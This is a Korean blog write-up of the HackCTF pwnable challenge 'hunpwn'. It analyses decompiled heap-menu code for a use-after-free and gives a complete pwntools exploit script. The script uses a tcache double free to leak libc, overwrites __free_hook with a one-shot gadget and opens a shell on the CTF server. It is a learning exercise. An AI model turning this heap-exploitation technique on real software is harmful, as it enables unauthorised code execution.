Pwnstar

hackctf 훈폰정음 본문

Wargame/HackCTF

hackctf 훈폰정음

포너블처돌이 2021. 2. 2. 02:56

child heap 문제 풀면서 얻은 지식 덕분에 좀 쉽게 풀 수 있었던 문제였다.

보호기법은 다 걸려있음. 보통 힙 문제에서 Full relro 걸려있으면 malloc hook이나 free hook을 덮어서 익스하게 된다.

흔한 힙 문제들과 같이 malloc, edit, free, print 등을 할 수 있다.

int add()
{
  int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  puts(&byte_FF6);
  result = smooth(&byte_FF6);
  v1 = result;
  while ( v1 >= 0 && v1 <= 6 )
  {
    if ( table[v1] )
      return puts(&byte_1018);
    puts(&byte_1042);
    size[v1] = smooth(&byte_1042);
    if ( (size[v1] & 0x80000000) == 0 && (signed int)size[v1] <= 0x400 )
    {
      table[v1] = malloc((signed int)size[v1]);
      if ( !table[v1] )
        return puts(&byte_107F);
      puts(&byte_1098);
      return get_read(table[v1], size[v1]);
    }
    result = puts(&byte_1060);
  }
  return result;
}

add함수에서는 우선 7번 이상 malloc을 못하고, 0x400사이즈 이상을 할당받을 수 없다.

delete

int delete()
{
  int result; // eax
  int v1; // eax
  signed int v2; // [rsp+Ch] [rbp-4h]

  puts(&byte_FF6);
  result = smooth(&byte_FF6);
  v2 = result;
  while ( v2 >= 0 && v2 <= 6 )
  {
    if ( !table[v2] )
      return puts(&byte_1138);
    v1 = count--;
    if ( v1 )
    {
      free((void *)table[v2]);
      return puts(&byte_1157);
    }
    result = puts(&byte_1168);
  }
  return result;
}

free하고 초기화하거나 table에서 지우지 않기 때문에 UAF가 가능

 

edit

int edit()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]

  puts(&byte_FF6);
  result = smooth(&byte_FF6);
  v1 = result;
  if ( result >= 0 && result <= 6 )
  {
    if ( table[result] )
    {
      puts(&byte_10D8);
      if ( (unsigned int)get_read(table[v1], size[v1]) )
        result = puts(&byte_1100);
      else
        result = puts(&byte_1119);
    }
    else
    {
      result = puts(&byte_10B8);
    }
  }
  return result;
}

인덱스를 입력받고 table에서 해당 인덱스로 접근하여 값을 변조시킬 수 있음.

 

그냥 되게 전형적인 heap문제의 모습이다. 문제에 주어진 libc 파일이 glibc 2.27버전이기 때문에 tcache를 사용한다.

앞서 푼 childheap문제를 통해 unsorted bin에 들어갈만큼 큰 사이즈를 free시키면 main_arena + 88의 주소가 들어간다는 것을 알게 되었기 때문에, 이것을 이용해서 libc leak을 한 이후 free hook을 oneshot gadget으로 덮어주면 익스할 수 있다.

우선 0x20만큼 할당받고 double free한 모습.

이 상태에서 하위 1바이트를 0x58로 조작해서 0x31이 적혀있는 부분을 0x400보다 큰 값으로 변조시킨다.

이 상태에서 free시키면 이 공간은 unsorted bin에 들어가게 되고, fd와 bk에 main_arena + 88의 주소가 들어간다.

이제 libc 주소를 알았으니 처음 방법을 다시 이용하여 free hook의 주소에 oneshot gadget을 덮어주면 된다.

참고로 아래 0x11의 값을 연속적으로 넣어 놓은 이유는 free할 때 에러를 피하려고 넣어놨는데 사실 정확히 무슨 값을 넣어야하는지 알고 넣은 것은 아님... 좀 더 공부가 필요해서 이후 정리할 예정인데 그냥 비워놓으면 free할 때 에러를 뿜고, 주로 heap에 할당받은 공간의 사이즈는 0x11, 0x21, 0x31등으로 되어있기 때문에 0x11부터 넣어봤는데 성공한 것...ㅋㅋ

익스 과정이 크게 복잡하지 않아서 더 설명은 필요없을 듯하다.

from pwn import*
import argparse

libc = ELF("libc-2.27.so")

def add(idx, size, content):
    p.sendlineafter(">> ", "1")
    p.sendlineafter(":\n", str(idx))
    p.sendlineafter(":\n", str(size))
    p.sendafter(":\n", content)

def edit(idx, content):
    p.sendlineafter(">> ", "2")
    p.sendlineafter(":\n", str(idx))
    p.recvuntil(":\n")
    p.send(content)

def delete(idx):
    p.sendlineafter(">> ", "3")
    p.sendlineafter(":\n", str(idx))

def check(idx):
    p.sendlineafter(">> ", "4")
    p.sendlineafter(":\n", str(idx))

def exit():
    p.sendlineafter(">> ", "5")

def exp():
    add(0, 0x20, "A"*0x20)

    delete(0)
    delete(0)
 
    edit(0, "\x58")
    
    add(1, 0x20, "D"*0x20)
    add(2, 0x20, p64(0x421))
    add(3, 0x400, p64(0x11) * 130)

    delete(0)
    check(0)
    p.recvuntil(" :")
        
    libc_leak = u64(p.recv(6) + "\x00\x00")
    log.info("libc leak = " + hex(libc_leak))
    libc_base = libc_leak - 0x3ebca0
    oneshot = libc_base + 0x4f322
    hook = libc_base + libc.symbols['__free_hook']
    log.info(hex(oneshot)) 
    log.info(hex(hook))   

    #overwrite with oneshot
    #add(0, 0x100, "A")
    add(4, 0x40, "E"*0x8)
    
    delete(4)
    delete(4)
    
    edit(4, p64(hook))
    add(5, 0x40, "F"*8)
    add(6, 0x40, p64(oneshot))
    
    delete(0)

    p.interactive()
if __name__ == '__main__' :
    context.arch = 'amd64'

    parser = argparse.ArgumentParser()
    parser.add_argument('-r', '--remote', action='store_true')
    args = parser.parse_args()

    if args.remote :
        p = remote('ctf.j0n9hyun.xyz', 3041)
    else :
        env = {'LD_PRELOAD' : "./libc-2.27.so"}
        p = process(['./hunpwn'], env=env)
        pie = p.libs()["/home/pwnstar/CTF_wargame/skagns/HackCTF/hunpwn/hunpwn"]
        bp_add = pie + 0x0000000000000C00
        bp_free = pie + 0x0000000000000D66
        bp_edit = pie + 0x0000000000000C7b
        script = '''
        b*{}
        b*{}
        b*{}
        '''.format(hex(bp_add), hex(bp_free), hex(bp_edit))
        gdb.attach(p, script)
        

    exp()

 

'Wargame > HackCTF' 카테고리의 다른 글

hackctf childheap  (0) 2021.01.26
HackCTF 풍수지리설  (0) 2020.07.22
HackCTF pwning  (0) 2020.07.20
HackCTF Unexploitable #3  (0) 2020.06.29
HackCTF j0n9hyun's secret  (0) 2020.06.29
Comments